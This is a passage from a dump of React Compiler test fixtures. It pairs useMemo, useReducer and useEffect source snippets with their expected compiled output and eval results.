    "content": "\n## Input\n\n```javascript\nfunction component(a, b) {\n  let x = useMemo(() => {\n    if (a) {\n      return {b};\n    }\n  }, [a, b]);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a, b) {\n  const $ = _c(2);\n  let t0;\n  bb0: {\n    if (a) {\n      let t1;\n      if ($[0] !== b) {\n        t1 = { b };\n        $[0] = b;\n        $[1] = t1;\n      } else {\n        t1 = $[1];\n      }\n      t0 = t1;\n      break bb0;\n    }\n    t0 = undefined;\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inlining-block-return.js",
    "content": "function component(a, b) {\n  let x = useMemo(() => {\n    if (a) {\n      return {b};\n    }\n  }, [a, b]);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inverted-if.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    label: {\n      if (props.cond) {\n        break label;\n      }\n      return props.a;\n    }\n    return props.b;\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  let t0;\n  bb0: {\n    bb1: {\n      if (props.cond) {\n        break bb1;\n      }\n\n      t0 = props.a;\n      break bb0;\n    }\n\n    t0 = props.b;\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inverted-if.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    label: {\n      if (props.cond) {\n        break label;\n      }\n      return props.a;\n    }\n    return props.b;\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-labeled-statement-unconditional-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    label: {\n      return props.value;\n    }\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = props.value;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-labeled-statement-unconditional-return.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    label: {\n      return props.value;\n    }\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-logical.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => props.a && props.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = props.a && props.b;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-logical.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => props.a && props.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-dont-preserve-memoization-guarantees.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  // With the feature disabled these variables are inferred as being mutated inside the useMemo block\n  const free = makeObject_Primitives();\n  const free2 = makeObject_Primitives();\n  const part = free2.part;\n\n  // This causes their range to extend to include this hook call, and in turn for the memoization to be pruned\n  useHook();\n  const object = useMemo(() => {\n    const x = makeObject_Primitives();\n    x.value = props.value;\n    mutate(x, free, part);\n    return x;\n  }, [props.value]);\n\n  identity(free);\n  identity(part);\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\nimport {\n  identity,\n  makeObject_Primitives,\n  mutate,\n  useHook,\n} from \"shared-runtime\";\n\nfunction Component(props) {\n  const free = makeObject_Primitives();\n  const free2 = makeObject_Primitives();\n  const part = free2.part;\n\n  useHook();\n\n  const x = makeObject_Primitives();\n  x.value = props.value;\n  mutate(x, free, part);\n  const object = x;\n\n  identity(free);\n  identity(part);\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":0,\"b\":\"value1\",\"c\":true,\"value\":42,\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-dont-preserve-memoization-guarantees.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  // With the feature disabled these variables are inferred as being mutated inside the useMemo block\n  const free = makeObject_Primitives();\n  const free2 = makeObject_Primitives();\n  const part = free2.part;\n\n  // This causes their range to extend to include this hook call, and in turn for the memoization to be pruned\n  useHook();\n  const object = useMemo(() => {\n    const x = makeObject_Primitives();\n    x.value = props.value;\n    mutate(x, free, part);\n    return x;\n  }, [props.value]);\n\n  identity(free);\n  identity(part);\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-preserve-memoization-guarantees.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  // With the feature enabled these variables are inferred as frozen as of\n  // the useMemo call\n  const free = makeObject_Primitives();\n  const free2 = makeObject_Primitives();\n  const part = free2.part;\n\n  // Thus their mutable range ends prior to this hook call, and both the above\n  // values and the useMemo block value can be memoized\n  useHook();\n\n  const object = useMemo(() => {\n    const x = makeObject_Primitives();\n    x.value = props.value;\n    mutate(x, free, part);\n    return x;\n  }, [props.value, free, part]);\n\n  // These calls should be inferred as non-mutating due to the above freeze inference\n  identity(free);\n  identity(part);\n\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport {\n  identity,\n  makeObject_Primitives,\n  mutate,\n  useHook,\n} from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = makeObject_Primitives();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const free = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = makeObject_Primitives();\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const free2 = t1;\n  const part = free2.part;\n\n  useHook();\n  let x;\n  if ($[2] !== props.value) {\n    x = makeObject_Primitives();\n    x.value = props.value;\n    mutate(x, free, part);\n    $[2] = props.value;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  const object = x;\n\n  identity(free);\n  identity(part);\n\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":0,\"b\":\"value1\",\"c\":true,\"value\":42,\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-preserve-memoization-guarantees.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  // With the feature enabled these variables are inferred as frozen as of\n  // the useMemo call\n  const free = makeObject_Primitives();\n  const free2 = makeObject_Primitives();\n  const part = free2.part;\n\n  // Thus their mutable range ends prior to this hook call, and both the above\n  // values and the useMemo block value can be memoized\n  useHook();\n\n  const object = useMemo(() => {\n    const x = makeObject_Primitives();\n    x.value = props.value;\n    mutate(x, free, part);\n    return x;\n  }, [props.value, free, part]);\n\n  // These calls should be inferred as non-mutating due to the above freeze inference\n  identity(free);\n  identity(part);\n\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-dont-preserve-memoization-guarantees.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {identity, makeObject_Primitives, mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = useMemo(() => makeObject_Primitives(), []);\n  identity(object);\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false\nimport { useMemo } from \"react\";\nimport { identity, makeObject_Primitives, mutate } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  let object;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    object = makeObject_Primitives();\n    identity(object);\n    $[0] = object;\n  } else {\n    object = $[0];\n  }\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":0,\"b\":\"value1\",\"c\":true}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-dont-preserve-memoization-guarantees.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {identity, makeObject_Primitives, mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = useMemo(() => makeObject_Primitives(), []);\n  identity(object);\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-preserve-memoization-guarantees.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {identity, makeObject_Primitives, mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = useMemo(() => makeObject_Primitives(), []);\n  identity(object);\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport { identity, makeObject_Primitives, mutate } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = makeObject_Primitives();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const object = t0;\n  identity(object);\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":0,\"b\":\"value1\",\"c\":true}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-preserve-memoization-guarantees.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {identity, makeObject_Primitives, mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = useMemo(() => makeObject_Primitives(), []);\n  identity(object);\n  return object;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-if-else.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction Component(props) {\n  const x = useMemo(() => {\n    let y = [];\n    if (props.cond) {\n      y.push(props.a);\n    }\n    if (props.cond2) {\n      return y;\n    }\n    y.push(props.b);\n    return y;\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 2, cond2: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.cond ||\n    $[3] !== props.cond2\n  ) {\n    bb0: {\n      const y = [];\n      if (props.cond) {\n        y.push(props.a);\n      }\n\n      if (props.cond2) {\n        t0 = y;\n        break bb0;\n      }\n\n      y.push(props.b);\n      t0 = y;\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.cond;\n    $[3] = props.cond2;\n    $[4] = t0;\n  } else {\n    t0 = $[4];\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 1, b: 2, cond2: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-if-else.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction Component(props) {\n  const x = useMemo(() => {\n    let y = [];\n    if (props.cond) {\n      y.push(props.a);\n    }\n    if (props.cond2) {\n      return y;\n    }\n    y.push(props.b);\n    return y;\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 2, cond2: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-returns.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoVoidUseMemo\nfunction Component({items}) {\n  const value = useMemo(() => {\n    for (let item of items) {\n      if (item.match) return item;\n    }\n    return null;\n  }, [items]);\n  return <div>{value}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoVoidUseMemo\nfunction Component(t0) {\n  const $ = _c(2);\n  const { items } = t0;\n  let t1;\n  bb0: {\n    for (const item of items) {\n      if (item.match) {\n        t1 = item;\n        break bb0;\n      }\n    }\n\n    t1 = null;\n  }\n  const value = t1;\n  let t2;\n  if ($[0] !== value) {\n    t2 = <div>{value}</div>;\n    $[0] = value;\n    $[1] = t2;\n  } else {\n    t2 = $[1];\n  }\n  return t2;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-returns.js",
    "content": "// @validateNoVoidUseMemo\nfunction Component({items}) {\n  const value = useMemo(() => {\n    for (let item of items) {\n      if (item.match) return item;\n    }\n    return null;\n  }, [items]);\n  return <div>{value}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-named-function.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender:false @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {makeArray} from 'shared-runtime';\n\nfunction Component() {\n  const x = useMemo(makeArray, []);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoSetStateInRender:false @enablePreserveExistingMemoizationGuarantees:false\nimport { useMemo } from \"react\";\nimport { makeArray } from \"shared-runtime\";\n\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = makeArray();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-named-function.ts",
    "content": "// @validateNoSetStateInRender:false @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {makeArray} from 'shared-runtime';\n\nfunction Component() {\n  const x = useMemo(makeArray, []);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-nested-ifs.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    if (props.cond) {\n      if (props.cond) {\n        return props.value;\n      }\n    }\n  }, [props.cond]);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  let t0;\n  bb0: {\n    if (props.cond) {\n      if (props.cond) {\n        t0 = props.value;\n        break bb0;\n      }\n    }\n    t0 = undefined;\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-nested-ifs.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    if (props.cond) {\n      if (props.cond) {\n        return props.value;\n      }\n    }\n  }, [props.cond]);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let x = useMemo(() => [a], [a]);\n  return <Foo x={x}></Foo>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== a) {\n    t0 = [a];\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let t1;\n  if ($[2] !== x) {\n    t1 = <Foo x={x} />;\n    $[2] = x;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple.js",
    "content": "function component(a) {\n  let x = useMemo(() => [a], [a]);\n  return <Foo x={x}></Foo>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-no-fallthrough.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    switch (props.key) {\n      case 'key': {\n        return props.value;\n      }\n      default: {\n        return props.defaultValue;\n      }\n    }\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  let t0;\n  bb0: switch (props.key) {\n    case \"key\": {\n      t0 = props.value;\n      break bb0;\n    }\n    default: {\n      t0 = props.defaultValue;\n    }\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-no-fallthrough.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    switch (props.key) {\n      case 'key': {\n        return props.value;\n      }\n      default: {\n        return props.defaultValue;\n      }\n    }\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    let y;\n    switch (props.switch) {\n      case 'foo': {\n        return 'foo';\n      }\n      case 'bar': {\n        y = 'bar';\n        break;\n      }\n      default: {\n        y = props.y;\n      }\n    }\n    return y;\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  let t0;\n  bb0: {\n    let y;\n    bb1: switch (props.switch) {\n      case \"foo\": {\n        t0 = \"foo\";\n        break bb0;\n      }\n      case \"bar\": {\n        y = \"bar\";\n        break bb1;\n      }\n      default: {\n        y = props.y;\n      }\n    }\n    t0 = y;\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-return.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    let y;\n    switch (props.switch) {\n      case 'foo': {\n        return 'foo';\n      }\n      case 'bar': {\n        y = 'bar';\n        break;\n      }\n      default: {\n        y = props.y;\n      }\n    }\n    return y;\n  });\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-with-optional.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nfunction Component(props) {\n  return (\n    useMemo(() => {\n      return [props.value];\n    }) || []\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = (() => [props.value])() || [];\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-with-optional.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nfunction Component(props) {\n  return (\n    useMemo(() => {\n      return [props.value];\n    }) || []\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useReducer-returned-dispatcher-is-non-reactive.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useReducer} from 'react';\n\nfunction f() {\n  const [state, dispatch] = useReducer();\n\n  const onClick = () => {\n    dispatch();\n  };\n\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useReducer } from \"react\";\n\nfunction f() {\n  const $ = _c(1);\n  const [, dispatch] = useReducer();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const onClick = () => {\n      dispatch();\n    };\n    t0 = <div onClick={onClick} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useReducer-returned-dispatcher-is-non-reactive.js",
    "content": "import {useReducer} from 'react';\n\nfunction f() {\n  const [state, dispatch] = useReducer();\n\n  const onClick = () => {\n    dispatch();\n  };\n\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-set-state-in-useEffect-from-ref.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useState, useRef, useEffect} from 'react';\n\nfunction Tooltip() {\n  const ref = useRef(null);\n  const [tooltipHeight, setTooltipHeight] = useState(0);\n\n  useEffect(() => {\n    const {height} = ref.current.getBoundingClientRect();\n    setTooltipHeight(height);\n  }, []);\n\n  return tooltipHeight;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Tooltip,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoSetStateInEffects @outputMode:\"lint\"\nimport { useState, useRef, useEffect } from \"react\";\n\nfunction Tooltip() {\n  const ref = useRef(null);\n  const [tooltipHeight, setTooltipHeight] = useState(0);\n\n  useEffect(() => {\n    const { height } = ref.current.getBoundingClientRect();\n    setTooltipHeight(height);\n  }, []);\n\n  return tooltipHeight;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Tooltip,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: exception) Cannot read properties of null (reading 'getBoundingClientRect')"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-set-state-in-useEffect-from-ref.js",
